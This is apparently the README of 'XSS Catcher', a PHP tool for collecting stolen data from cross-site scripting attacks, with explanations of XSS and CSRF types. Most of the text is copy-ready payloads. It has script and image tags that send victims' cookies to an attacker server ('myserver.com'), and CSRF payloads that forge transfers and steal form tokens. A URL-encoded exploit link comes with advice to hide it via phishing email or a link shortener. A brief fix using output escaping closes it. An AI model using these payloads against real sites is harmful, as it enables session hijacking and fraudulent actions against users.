XSS Catcher

Simple API for storing all incoming XSS requests.

Incoming XSS request can have site, data (i.e. stolen data), info, and redirect HTTP request parameters.

Use redirect with <script src="https://myserver.com?redirect=xss.js"></script> to both store an XSS request and execute JavaScript code. Redirect file e.g. xss.js will resolve to the relative path on your web server, i.e. ./xss.js.

This topic is very broad and only few client side injections were covered. Keep in mind that XSS is not limited only to JavaScript.

Play with the given examples and make your own (possibly shorter).

Tested on XAMPP for Windows v7.4.3 (64-bit) with Chrome v92.0.4515.131 (64-bit) and Firefox v90.0.2 (64-bit).

Made for educational purposes. I hope it will help!

How to Run
Cross-Site Scripting (XSS)
- XSS Types
- XSS Injections
Cross-Site Request Forgery (CSRF)
- CSRF Injections
- CSRF Templates
Proof of Concept (XSS) - No Input Sanitization
Images

How to Run

Import \db\xss_catcher.sql to your database server.

Copy all the content from \src\ to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP).

Change the database settings inside \src\php\config.ini as necessary.

Navigate to your database panel with your preferred web browser.

You can use ngrok to give your XAMPP a public address.

Cross-Site Scripting (XSS)

Usually used to steal cookies or to modify a web page.

XSS Types

The most common type is the reflected XSS attack. It usually reflects malicious code only to the person who e.g. opens a malicious link.

Stored XSS attack is when malicious code gets stored (i.e. saved) into e.g. a database table, file, etc. It usually reflects to every person who loads the infected table, file, etc.

DOM based XSS attack, also reflects malicious code only to the person who e.g. opens a malicious link, but comapred to reflected XSS attack, cannot modify the HTTP response.

XSS Injections

Simple XSS examples:

<script>alert(1)</script>

<script src="https://myserver.com?redirect=xss.js"></script>

<img src="https://github.com/favicon.ico" onload="alert(1)">

HTTP cookies must be missing the HttpOnly flag in order for you to steal them. SameSite flag might also prevent you from stealing them.

Steal HTTP cookies by injecting the following JavaScript code:

<script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '&data=' + encodeURIComponent(document.cookie));</script>

<script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.send('{\"site\": \"' + encodeURIComponent(location.hostname + location.pathname) + '\", \"data\": \"' + encodeURIComponent(document.cookie) + "\"}");</script>

First example above will send an HTTP POST request to your server with user-defined parameters as a form-data. Opt for this example whenever possible.

To send user-defined parameters as a form-data, you must add Content-Type: application/x-www-form-urlencoded HTTP request header.

Second example above will send an HTTP POST request to your server with raw data encoded in JSON.

Steal HTTP cookies by injecting the following HTML code:

<img src="https://github.com/favicon.ico" alt="xss" onload="var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '&data=' + encodeURIComponent(document.cookie));" hidden="hidden">

<img src="https://github.com/favicon.ico" alt="xss" onload="this.src = 'https://myserver.com?site=' + encodeURIComponent(location.hostname) + location.pathname + '&data=' + encodeURIComponent(document.cookie);" hidden="hidden">

First example above will send an HTTP POST request to your server with user-defined parameters as a form-data.

Second example above will send an HTTP GET request to your server with user-defined parameters in a query string (i.e. in a URL).

Cross-Site Request Forgery (CSRF)

Not necessarily used to steal cookies or to modify a web page. The goal is to just execute a forged query in the name of an already signed-in user.

The simplest way to do so, is to send aphishing email containing a link such as https://target.com/transfer.php?recipient=eve&amount=9000 (limited to HTTP GET request) to the victim or to store/hide a malicious code in either your target's website or your own website, and then send the less suspicious link.

Try to figure out what kind of data does a backend server accept before you try to forge/send anything. Is it a query string, form-data, raw data encoded in JSON, etc.?

JavaScript:

can execute multiple HTTP requests in a row,
can extract data from one HTTP response and use it in another HTTP request,
usually gets blocked by CORS.

HTML:

can execute multiple HTTP requests in a row (limited to HTTP GET request, race condition may occur),
~~can extract data from one HTTP response and use it in another HTTP request,~~
~~usually gets blocked by CORS.~~

CSS:

can execute multiple HTTP requests in a row (limited to HTTP GET request, race condition may occur),
~~can extract data from one HTTP response and use it in another HTTP request,~~
~~usually gets blocked by CORS.~~

CSRF Injections

Plant a forged request by injecting the following JavaScript code:

<script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://target.com/transfer.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('recipient=eve&amount=9000');</script>

Example above will send an HTTP POST request to a target server in the victim's name with user-defined parameters as a form-data.

Plant a forged request whilst stealing a web form token by injecting the following JavaScript code:

<script>window.onload = function() { var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://target.com/transfer.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('recipient=eve&amount=9000&token=' + encodeURIComponent(document.getElementsByName('token')[0].value)); }</script>

<script>window.onload = function() { var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://target.com/transfer.php?recipient=eve&amount=9000&token=' + encodeURIComponent(document.getElementsByName('token')[0].value), true); xhr.send(); }</script>

First example above will send an HTTP POST request to a target server in the victim's name with user-defined parameters as a form-data.

Second example above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e. in a URL).

To steal a web form token or any other web form data, you must wait for the web form to fully render/load. You can do that by calling the window.onload event.

Plant a forged request by injecting the following HTML code:

<img src="https://target.com/transfer.php?recipient=eve&amount=9000" alt="csrf" hidden="hidden">

<img src="https://github.com/favicon.ico" alt="csrf" style="background-image: url('https://target.com/transfer.php?recipient=eve&amount=9000');" hidden="hidden">

Both examples above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e. in a URL).

Plant a forged request by injecting the following CSS code:

<style>div { background-image: url('https://target.com/transfer.php?recipient=eve&amount=9000'); }</style>

Example above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e. in a URL).

CSRF Templates

Copy all the content from \templates\ to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP).

Simple Python3 one-liner:

python3 -m http.server 9000 --directory somedir

Change the URL, HTTP method, HTTP request headers, data, etc. inside the scripts as necessary. Extend the scripts to your liking.

Navigate to the website with your preferred web browser.

Proof of Concept (XSS) - No Input Sanitization

This proof of concept shows how to steal cookies through an unsanitized HTTP request parameter.

Vulnerable code:

<script>var language = '<?php if (isset($_GET["language"])) { echo $_GET["language"]; } ?>';</script>

Expected use:

<script>var language = 'en';</script>

User-supplied data:

en'; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '&data=' + encodeURIComponent(document.cookie)); var test = '

Always make sure to properly close the surrounding code.

Encode your code to the URL encoded format here.

Final XSS request:

https://localhost/welcome.php?language=en%27%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27https%3A%2F%2Fmyserver.com%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application%2Fx-www-form-urlencoded%27%29%3B%20xhr.send%28%27site%3D%27%20%2B%20encodeURIComponent%28location.hostname%20%2B%20location.pathname%29%20%2B%20%27%26data%3D%27%20%2B%20encodeURIComponent%28document.cookie%29%29%3B%20var%20test%20%3D%20%27

[OPTIONAL] Shorten your query string (i.e. URL) with Bitly.

Solution (output escaping):

<script>var language = '<?php if (isset($_GET["language"])) { echo htmlentities($_GET["language"], ENT_QUOTES, "UTF-8"); } ?>';</script>

Images

Figure 1 - Database

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